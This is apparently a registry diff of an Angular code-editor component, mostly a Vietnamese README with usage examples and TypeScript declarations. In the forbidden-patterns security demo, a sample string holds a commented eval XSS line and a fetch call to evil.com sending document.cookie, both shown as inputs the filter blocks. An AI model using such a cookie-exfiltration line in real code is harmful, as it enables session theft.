@libs-ui/components-preview-text-data 0.2.357-0 → 0.2.357-10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +326 -187
- package/editor/editor-completions.d.ts +8 -0
- package/editor/editor-forbidden.d.ts +8 -0
- package/editor/editor-height.d.ts +21 -0
- package/esm2022/editor/editor-completions.mjs +36 -0
- package/esm2022/editor/editor-forbidden.mjs +65 -0
- package/esm2022/editor/editor-height.mjs +87 -0
- package/esm2022/linters/js-linter.mjs +348 -0
- package/esm2022/linters/json-linter.mjs +14 -0
- package/esm2022/linters/linter-shared.mjs +8 -0
- package/esm2022/linters/python-linter.mjs +52 -0
- package/esm2022/linters/sql-linter.mjs +34 -0
- package/esm2022/preview-text-data.component.mjs +39 -319
- package/esm2022/preview-text-data.define.mjs +13 -1
- package/esm2022/preview-text-data.type.mjs +2 -0
- package/fesm2022/libs-ui-components-preview-text-data.mjs +680 -320
- package/fesm2022/libs-ui-components-preview-text-data.mjs.map +1 -1
- package/linters/js-linter.d.ts +45 -0
- package/linters/json-linter.d.ts +4 -0
- package/linters/linter-shared.d.ts +3 -0
- package/linters/python-linter.d.ts +4 -0
- package/linters/sql-linter.d.ts +4 -0
- package/package.json +9 -7
- package/preview-text-data.component.d.ts +18 -35
- package/preview-text-data.define.d.ts +12 -0
- package/preview-text-data.type.d.ts +33 -0
package/README.md
CHANGED
|
@@ -62,220 +62,363 @@ import {
|
|
|
62
62
|
|
|
63
63
|
## Ví dụ sử dụng
|
|
64
64
|
|
|
65
|
-
### 1. Chế độ
|
|
65
|
+
### 1. Chế độ Xem (Read-only)
|
|
66
66
|
|
|
67
|
-
|
|
68
|
-
// my-viewer.component.ts
|
|
69
|
-
import { ChangeDetectionStrategy, Component } from '@angular/core';
|
|
70
|
-
import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
|
|
67
|
+
Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
|
|
71
68
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
})
|
|
85
|
-
export class MyViewerComponent {
|
|
86
|
-
readonly configCode = `{
|
|
87
|
-
"projectName": "Libs UI",
|
|
88
|
-
"version": "2.0.0",
|
|
89
|
-
"features": ["Signals", "CodeMirror", "OnPush"]
|
|
69
|
+
```html
|
|
70
|
+
<libs_ui-components-preview_text_data
|
|
71
|
+
[content]="readonlyCode"
|
|
72
|
+
[langSelected]="'javascript'"
|
|
73
|
+
[hiddenAction]="true"
|
|
74
|
+
background="#fcfcfc" />
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
```typescript
|
|
78
|
+
readonly readonlyCode = `/* Standalone Code Preview */
|
|
79
|
+
function checkStandards(component) {
|
|
80
|
+
return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
|
|
90
81
|
}`;
|
|
91
|
-
}
|
|
92
82
|
```
|
|
93
83
|
|
|
94
|
-
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
### 2. Chế độ Chỉnh sửa & Linter
|
|
87
|
+
|
|
88
|
+
Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
|
|
89
|
+
|
|
90
|
+
```html
|
|
91
|
+
<div class="flex flex-col gap-4">
|
|
92
|
+
<libs_ui-components-preview_text_data
|
|
93
|
+
[content]="jsonContent"
|
|
94
|
+
[(langSelected)]="editableLang"
|
|
95
|
+
[editable]="true"
|
|
96
|
+
[langsAccept]="['json', 'javascript', 'sql']"
|
|
97
|
+
(syntaxErrors)="onSyntaxErrors($event)" />
|
|
98
|
+
|
|
99
|
+
@if (linterErrors().length) {
|
|
100
|
+
<div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
|
|
101
|
+
Error: {{ linterErrors()[0].message }}
|
|
102
|
+
</div>
|
|
103
|
+
}
|
|
104
|
+
</div>
|
|
105
|
+
```
|
|
95
106
|
|
|
96
107
|
```typescript
|
|
97
|
-
// sql-editor.component.ts
|
|
98
108
|
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
|
|
99
|
-
import {
|
|
100
|
-
LibsUiComponentsPreviewTextDataComponent,
|
|
101
|
-
IPreviewTextDataChange,
|
|
102
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
103
|
-
} from '@libs-ui/components-preview-text-data';
|
|
109
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
104
110
|
import { Diagnostic } from '@codemirror/lint';
|
|
105
111
|
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
[content]="sqlQuery"
|
|
114
|
-
[(langSelected)]="currentLang"
|
|
115
|
-
[editable]="true"
|
|
116
|
-
[langsAccept]="['sql', 'javascript', 'json']"
|
|
117
|
-
(outChange)="handlerChange($event)"
|
|
118
|
-
(syntaxErrors)="handlerSyntaxErrors($event)" />
|
|
119
|
-
|
|
120
|
-
@if (lintErrors().length) {
|
|
121
|
-
<div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
|
|
122
|
-
Lỗi cú pháp: {{ lintErrors()[0].message }}
|
|
123
|
-
</div>
|
|
124
|
-
}
|
|
125
|
-
`,
|
|
126
|
-
})
|
|
127
|
-
export class SqlEditorComponent {
|
|
128
|
-
readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
|
|
129
|
-
readonly lintErrors = signal<Diagnostic[]>([]);
|
|
130
|
-
readonly sqlQuery = `SELECT id, name, email
|
|
131
|
-
FROM users
|
|
132
|
-
WHERE status = 'active'
|
|
133
|
-
ORDER BY created_at DESC
|
|
134
|
-
LIMIT 50;`;
|
|
135
|
-
|
|
136
|
-
handlerChange(event: IPreviewTextDataChange): void {
|
|
137
|
-
event.stopPropagation?.();
|
|
138
|
-
console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
|
|
139
|
-
}
|
|
112
|
+
// [content]="jsonContent" — nội dung JSON mẫu ban đầu
|
|
113
|
+
readonly jsonContent = `{
|
|
114
|
+
"projectName": "Libs UI",
|
|
115
|
+
"version": "1.0.0",
|
|
116
|
+
"features": ["Signals", "CodeMirror", "Standalone"],
|
|
117
|
+
"isBmadCompliant": true
|
|
118
|
+
}`;
|
|
140
119
|
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
120
|
+
// [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
|
|
121
|
+
readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
|
|
122
|
+
|
|
123
|
+
// linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
|
|
124
|
+
readonly linterErrors = signal<Diagnostic[]>([]);
|
|
125
|
+
|
|
126
|
+
// Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
|
|
127
|
+
onSyntaxErrors(errors: Diagnostic[]): void {
|
|
128
|
+
this.linterErrors.set(errors);
|
|
144
129
|
}
|
|
145
130
|
```
|
|
146
131
|
|
|
147
|
-
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
|
|
135
|
+
|
|
136
|
+
Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
|
|
137
|
+
|
|
138
|
+
```html
|
|
139
|
+
<libs_ui-components-preview_text_data
|
|
140
|
+
[content]="''"
|
|
141
|
+
[(langSelected)]="codeInputLang"
|
|
142
|
+
[editable]="true"
|
|
143
|
+
[langsAccept]="['javascript', 'python']"
|
|
144
|
+
[minLines]="10"
|
|
145
|
+
[maxLines]="20" />
|
|
146
|
+
```
|
|
148
147
|
|
|
149
148
|
```typescript
|
|
150
|
-
|
|
151
|
-
import {
|
|
152
|
-
import {
|
|
153
|
-
LibsUiComponentsPreviewTextDataComponent,
|
|
154
|
-
IPreviewTextDataCompletionItem,
|
|
155
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
156
|
-
} from '@libs-ui/components-preview-text-data';
|
|
149
|
+
import { signal } from '@angular/core';
|
|
150
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
157
151
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
152
|
+
// Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
|
|
153
|
+
// minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
|
|
154
|
+
readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
### 4. Editor tự fit theo container (min/max-height)
|
|
160
|
+
|
|
161
|
+
Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
|
|
162
|
+
|
|
163
|
+
```html
|
|
164
|
+
<!-- #boxRef là template ref tới div container -->
|
|
165
|
+
<div #boxRef class="min-h-[120px] max-h-[300px]">
|
|
166
|
+
<libs_ui-components-preview_text_data
|
|
167
|
+
[content]="''"
|
|
168
|
+
[(langSelected)]="codeContainerLang"
|
|
169
|
+
[editable]="true"
|
|
170
|
+
[langsAccept]="['javascript', 'python']"
|
|
171
|
+
[containerElement]="boxRef" />
|
|
172
|
+
</div>
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
```typescript
|
|
176
|
+
import { signal } from '@angular/core';
|
|
177
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
178
|
+
|
|
179
|
+
// Bọc editor trong div có min/max-height, truyền chính element đó vào.
|
|
180
|
+
// Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
|
|
181
|
+
readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
182
|
+
```
|
|
174
183
|
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
### 5. JavaScript — IntelliSense với Object có sẵn
|
|
187
|
+
|
|
188
|
+
Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
|
|
189
|
+
|
|
190
|
+
```html
|
|
191
|
+
<libs_ui-components-preview_text_data
|
|
192
|
+
[content]="jsStarterCode"
|
|
193
|
+
[(langSelected)]="jsAutocompleteLang"
|
|
194
|
+
[editable]="true"
|
|
195
|
+
[completions]="jsCompletions"
|
|
196
|
+
background="#fafbfc" />
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
```typescript
|
|
200
|
+
import { signal } from '@angular/core';
|
|
201
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
202
|
+
|
|
203
|
+
// [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
|
|
204
|
+
readonly jsStarterCode = `function printUserInfo() {
|
|
205
|
+
const userName = user.
|
|
206
|
+
const baseUrl = config.
|
|
207
|
+
return db.
|
|
179
208
|
}`;
|
|
180
209
|
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
}
|
|
210
|
+
// [(langSelected)]="jsAutocompleteLang"
|
|
211
|
+
readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
212
|
+
|
|
213
|
+
// [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
|
|
214
|
+
readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
|
|
215
|
+
{
|
|
216
|
+
label: 'user',
|
|
217
|
+
type: 'variable',
|
|
218
|
+
detail: 'object',
|
|
219
|
+
properties: [
|
|
220
|
+
{ label: 'id', type: 'property', detail: 'number' },
|
|
221
|
+
{ label: 'name', type: 'property', detail: 'string' },
|
|
222
|
+
{ label: 'email', type: 'property', detail: 'string' },
|
|
223
|
+
{ label: 'role', type: 'property', detail: "'admin'|'user'" },
|
|
224
|
+
{ label: 'logout', type: 'method', detail: '() => Promise<void>' },
|
|
225
|
+
],
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
label: 'config',
|
|
229
|
+
type: 'variable',
|
|
230
|
+
detail: 'object',
|
|
231
|
+
properties: [
|
|
232
|
+
{ label: 'apiUrl', type: 'property', detail: 'string' },
|
|
233
|
+
{ label: 'timeout', type: 'property', detail: 'number' },
|
|
234
|
+
{ label: 'debug', type: 'property', detail: 'boolean' },
|
|
235
|
+
],
|
|
236
|
+
},
|
|
237
|
+
// ... object "db" tương tự (host, port, query(), connect(), transaction()...)
|
|
238
|
+
];
|
|
208
239
|
```
|
|
209
240
|
|
|
210
|
-
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
|
|
244
|
+
|
|
245
|
+
Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
|
|
246
|
+
|
|
247
|
+
```html
|
|
248
|
+
<libs_ui-components-preview_text_data
|
|
249
|
+
[content]="jsDeepStarterCode"
|
|
250
|
+
[(langSelected)]="jsDeepAutocompleteLang"
|
|
251
|
+
[editable]="true"
|
|
252
|
+
[completions]="jsDeepCompletions"
|
|
253
|
+
background="#fafbfc" />
|
|
254
|
+
```
|
|
211
255
|
|
|
212
256
|
```typescript
|
|
213
|
-
|
|
214
|
-
import {
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
257
|
+
import { signal } from '@angular/core';
|
|
258
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
259
|
+
|
|
260
|
+
// [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
|
|
261
|
+
readonly jsDeepStarterCode = `function buildUserCard() {
|
|
262
|
+
const ctx = app.
|
|
263
|
+
const avatar = app.user.profile.
|
|
264
|
+
const lat = app.user.profile.address.geo.
|
|
265
|
+
return app.services.auth.
|
|
266
|
+
}`;
|
|
221
267
|
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
}
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
268
|
+
// [(langSelected)]="jsDeepAutocompleteLang"
|
|
269
|
+
readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
270
|
+
|
|
271
|
+
// [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
|
|
272
|
+
// Gõ "app." → user, config, services
|
|
273
|
+
// Gõ "app.user.profile.address." → city, country, geo
|
|
274
|
+
readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
|
|
275
|
+
{
|
|
276
|
+
label: 'app',
|
|
277
|
+
type: 'variable',
|
|
278
|
+
detail: 'AppContext',
|
|
279
|
+
properties: [
|
|
280
|
+
{
|
|
281
|
+
label: 'user',
|
|
282
|
+
type: 'property',
|
|
283
|
+
detail: 'User',
|
|
284
|
+
properties: [
|
|
285
|
+
{ label: 'id', type: 'property', detail: 'number' },
|
|
286
|
+
{ label: 'name', type: 'property', detail: 'string' },
|
|
287
|
+
{
|
|
288
|
+
label: 'profile',
|
|
289
|
+
type: 'property',
|
|
290
|
+
detail: 'Profile',
|
|
291
|
+
properties: [
|
|
292
|
+
{ label: 'avatar', type: 'property', detail: 'string' },
|
|
293
|
+
{ label: 'bio', type: 'property', detail: 'string' },
|
|
294
|
+
{
|
|
295
|
+
label: 'address',
|
|
296
|
+
type: 'property',
|
|
297
|
+
detail: 'Address',
|
|
298
|
+
properties: [
|
|
299
|
+
{ label: 'city', type: 'property', detail: 'string' },
|
|
300
|
+
{ label: 'country', type: 'property', detail: 'string' },
|
|
301
|
+
{
|
|
302
|
+
label: 'geo',
|
|
303
|
+
type: 'property',
|
|
304
|
+
detail: 'GeoPoint',
|
|
305
|
+
properties: [
|
|
306
|
+
{ label: 'lat', type: 'property', detail: 'number' },
|
|
307
|
+
{ label: 'lng', type: 'property', detail: 'number' },
|
|
308
|
+
],
|
|
309
|
+
},
|
|
310
|
+
],
|
|
311
|
+
},
|
|
312
|
+
],
|
|
313
|
+
},
|
|
314
|
+
],
|
|
315
|
+
},
|
|
316
|
+
// ...config, services tương tự (mỗi cấp có 'properties' riêng)
|
|
317
|
+
],
|
|
318
|
+
},
|
|
319
|
+
];
|
|
320
|
+
```
|
|
254
321
|
|
|
255
|
-
|
|
256
|
-
function calculateTotal(items) {
|
|
257
|
-
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
|
|
258
|
-
}
|
|
259
|
-
// Thử gõ: eval("test") hoặc localStorage.getItem('key')
|
|
260
|
-
// → sẽ bị highlight đỏ và chặn paste`;
|
|
322
|
+
---
|
|
261
323
|
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
324
|
+
### 7. Python — IntelliSense với Class/Object
|
|
325
|
+
|
|
326
|
+
Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
|
|
327
|
+
|
|
328
|
+
```html
|
|
329
|
+
<libs_ui-components-preview_text_data
|
|
330
|
+
[content]="pyStarterCode"
|
|
331
|
+
[(langSelected)]="pyAutocompleteLang"
|
|
332
|
+
[editable]="true"
|
|
333
|
+
[completions]="pyCompletions"
|
|
334
|
+
background="#fafbfc" />
|
|
266
335
|
```
|
|
267
336
|
|
|
268
|
-
|
|
337
|
+
```typescript
|
|
338
|
+
import { signal } from '@angular/core';
|
|
339
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
340
|
+
|
|
341
|
+
// [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
|
|
342
|
+
readonly pyStarterCode = `def handle_request():
|
|
343
|
+
server = config.
|
|
344
|
+
data = request.
|
|
345
|
+
logger.
|
|
346
|
+
return server`;
|
|
347
|
+
|
|
348
|
+
// [(langSelected)]="pyAutocompleteLang"
|
|
349
|
+
readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
|
|
350
|
+
|
|
351
|
+
// [completions]="pyCompletions"
|
|
352
|
+
readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
|
|
353
|
+
{
|
|
354
|
+
label: 'config',
|
|
355
|
+
type: 'class',
|
|
356
|
+
detail: 'class Config',
|
|
357
|
+
properties: [
|
|
358
|
+
{ label: 'host', type: 'property', detail: 'str' },
|
|
359
|
+
{ label: 'port', type: 'property', detail: 'int' },
|
|
360
|
+
{ label: 'debug', type: 'property', detail: 'bool' },
|
|
361
|
+
{ label: 'to_dict', type: 'method', detail: '() -> dict' },
|
|
362
|
+
],
|
|
363
|
+
},
|
|
364
|
+
// ... object "request" tương tự (method, url, headers, json()...)
|
|
365
|
+
{
|
|
366
|
+
label: 'logger',
|
|
367
|
+
type: 'variable',
|
|
368
|
+
detail: 'Logger',
|
|
369
|
+
properties: [
|
|
370
|
+
{ label: 'info', type: 'method', detail: '(msg: str) -> None' },
|
|
371
|
+
{ label: 'error', type: 'method', detail: '(msg: str) -> None' },
|
|
372
|
+
{ label: 'warning', type: 'method', detail: '(msg: str) -> None' },
|
|
373
|
+
],
|
|
374
|
+
},
|
|
375
|
+
];
|
|
376
|
+
```
|
|
377
|
+
|
|
378
|
+
---
|
|
379
|
+
|
|
380
|
+
### 8. Security Policy — Forbidden Patterns
|
|
381
|
+
|
|
382
|
+
Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
|
|
269
383
|
|
|
270
384
|
```html
|
|
271
|
-
<!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
|
|
272
385
|
<libs_ui-components-preview_text_data
|
|
273
|
-
[content]="
|
|
274
|
-
[(langSelected)]="
|
|
386
|
+
[content]="securityStarterCode"
|
|
387
|
+
[(langSelected)]="securityLang"
|
|
275
388
|
[editable]="true"
|
|
276
|
-
[
|
|
389
|
+
[forbiddenPatterns]="defaultSecurityPatterns"
|
|
390
|
+
(outViolations)="onSecurityViolations($event)"
|
|
391
|
+
background="#fafbfc" />
|
|
392
|
+
```
|
|
393
|
+
|
|
394
|
+
```typescript
|
|
395
|
+
import { signal } from '@angular/core';
|
|
396
|
+
import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
397
|
+
|
|
398
|
+
// [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
|
|
399
|
+
readonly securityStarterCode = `function calculateTotal(items) {
|
|
400
|
+
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
|
|
401
|
+
}
|
|
402
|
+
// Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
|
|
403
|
+
// eval("alert('xss')")
|
|
404
|
+
// fetch('https://evil.com/steal?data=' + document.cookie)`;
|
|
405
|
+
|
|
406
|
+
// [(langSelected)]="securityLang"
|
|
407
|
+
readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
408
|
+
|
|
409
|
+
// [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
|
|
410
|
+
readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
|
|
411
|
+
|
|
412
|
+
// (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
|
|
413
|
+
readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
|
|
414
|
+
|
|
415
|
+
onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
|
|
416
|
+
this.securityViolations.set(violations);
|
|
417
|
+
}
|
|
277
418
|
```
|
|
278
419
|
|
|
420
|
+
> ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
|
|
421
|
+
|
|
279
422
|
## @Input()
|
|
280
423
|
|
|
281
424
|
| Input | Type | Default | Mô tả | Ví dụ |
|
|
@@ -290,6 +433,10 @@ function calculateTotal(items) {
|
|
|
290
433
|
| `[forbiddenPatterns]` | `T_ForbiddenPattern[]` | `[]` | Danh sách pattern bị cấm (string hoặc RegExp). Highlight đỏ khi gõ, chặn paste chứa vi phạm, phát ra `(outViolations)` | `[forbiddenPatterns]="DEFAULT_SECURITY_PATTERNS"` |
|
|
291
434
|
| `[lintIgnorePatterns]` | `string[]` | `['Cannot use import statement...', 'Unexpected token export', 'import ', '@angular/core']` | Danh sách chuỗi lỗi linter JS sẽ bị bỏ qua (ignore) trong quá trình kiểm tra | `[lintIgnorePatterns]="['import ']"` |
|
|
292
435
|
| `[background]` | `string` | `'#f8f9fa'` | Màu nền của vùng soạn thảo (CSS color value) | `background="#ffffff"` |
|
|
436
|
+
| `[minLines]` | `number` | `undefined` | Số dòng tối thiểu. Nếu content ít dòng hơn sẽ tự bù dòng trống (xử lý 1 lần khi khởi tạo editor); đủ/nhiều hơn thì giữ nguyên, không cắt bớt | `[minLines]="10"` |
|
|
437
|
+
| `[maxLines]` | `number` | `undefined` | Số dòng tối đa hiển thị. Vượt quá → editor giới hạn chiều cao và xuất hiện vùng cuộn (đo line-height thật khi khởi tạo) | `[maxLines]="20"` |
|
|
438
|
+
| `[zIndexPopover]` | `number` | `undefined` | z-index cho popover dropdown chọn ngôn ngữ (dùng khi editor nằm trong modal/overlay có z-index cao) | `[zIndexPopover]="1500"` |
|
|
439
|
+
| `[containerElement]` | `HTMLElement` | `undefined` | Element bọc ngoài (đã set `min-height`/`max-height` CSS). Editor snap số dòng theo container: `min-height` → bù dòng trống cho đủ (hiện line-number 1..N), `max-height` → giới hạn + scroll. **CẤM** dùng cùng `[minLines]`/`[maxLines]` (throw lỗi) | `[containerElement]="boxRef"` |
|
|
293
440
|
|
|
294
441
|
## @Output()
|
|
295
442
|
|
|
@@ -441,14 +588,6 @@ Các pattern được chặn:
|
|
|
441
588
|
|
|
442
589
|
⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
|
|
443
590
|
|
|
444
|
-
## Demo
|
|
445
|
-
|
|
446
|
-
```bash
|
|
447
|
-
npx nx serve core-ui
|
|
448
|
-
```
|
|
449
|
-
|
|
450
|
-
Truy cập: http://localhost:4500/preview-text-data
|
|
451
|
-
|
|
452
591
|
## Unit Tests
|
|
453
592
|
|
|
454
593
|
```bash
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
import { Extension } from '@codemirror/state';
|
|
2
|
+
import { IPreviewTextDataCompletionItem } from '../preview-text-data.interfaces';
|
|
3
|
+
/**
|
|
4
|
+
* Tạo extension autocomplete từ danh sách `items`:
|
|
5
|
+
* 1. Gõ `obj.` → gợi ý properties của obj (dot-notation).
|
|
6
|
+
* 2. Gõ ký tự → gợi ý tên biến/object top-level.
|
|
7
|
+
*/
|
|
8
|
+
export declare const buildCompletionExtension: (items: IPreviewTextDataCompletionItem[]) => Extension;
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
import { Extension } from '@codemirror/state';
|
|
2
|
+
import { IPreviewTextDataViolation, T_ForbiddenPattern } from '../preview-text-data.interfaces';
|
|
3
|
+
/**
|
|
4
|
+
* Extension bảo mật gồm 2 layer:
|
|
5
|
+
* 1. Linter: highlight đỏ tại đúng vị trí match (bỏ qua match trong comment) + gọi `emitViolations`.
|
|
6
|
+
* 2. Transaction filter: chặn paste nếu nội dung paste chứa pattern cấm.
|
|
7
|
+
*/
|
|
8
|
+
export declare const buildForbiddenExtension: (patterns: T_ForbiddenPattern[], emitViolations: (violations: IPreviewTextDataViolation[]) => void) => Extension;
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
import { EditorView } from '@codemirror/view';
|
|
2
|
+
/** Parse giá trị CSS px → number. Trả về undefined nếu không phải px hợp lệ (vd `none`, `0`). */
|
|
3
|
+
export declare const parsePx: (raw: string) => number | undefined;
|
|
4
|
+
/** Bù dòng trống cho đủ `minLines` (xử lý 1 lần khi khởi tạo). Đủ rồi giữ nguyên, không cắt bớt. */
|
|
5
|
+
export declare const applyMinLines: (content: string, minLines?: number) => string;
|
|
6
|
+
/**
|
|
7
|
+
* Tính min/max-height vùng cuộn theo CSS của container ngoài, snap về bội số dòng.
|
|
8
|
+
* Trừ offset phần header/toolbar (giữa đỉnh container và đỉnh vùng cuộn) để vừa khít container.
|
|
9
|
+
*/
|
|
10
|
+
export declare const applyContainerHeight: (view: EditorView, container: HTMLElement) => void;
|
|
11
|
+
/**
|
|
12
|
+
* Giới hạn chiều cao editor (xử lý 1 lần). 2 chế độ loại trừ nhau:
|
|
13
|
+
* - `maxLines`: cap theo số dòng truyền vào.
|
|
14
|
+
* - `container`: tự tính số dòng theo `min-height`/`max-height` (CSS) của container, snap bội số dòng.
|
|
15
|
+
* Cấu hình đồng thời `container` + `minLines`/`maxLines` → throw.
|
|
16
|
+
*/
|
|
17
|
+
export declare const applyMaxHeight: (view: EditorView | undefined, options: {
|
|
18
|
+
minLines?: number;
|
|
19
|
+
maxLines?: number;
|
|
20
|
+
container?: HTMLElement;
|
|
21
|
+
}) => void;
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import { autocompletion } from '@codemirror/autocomplete';
|
|
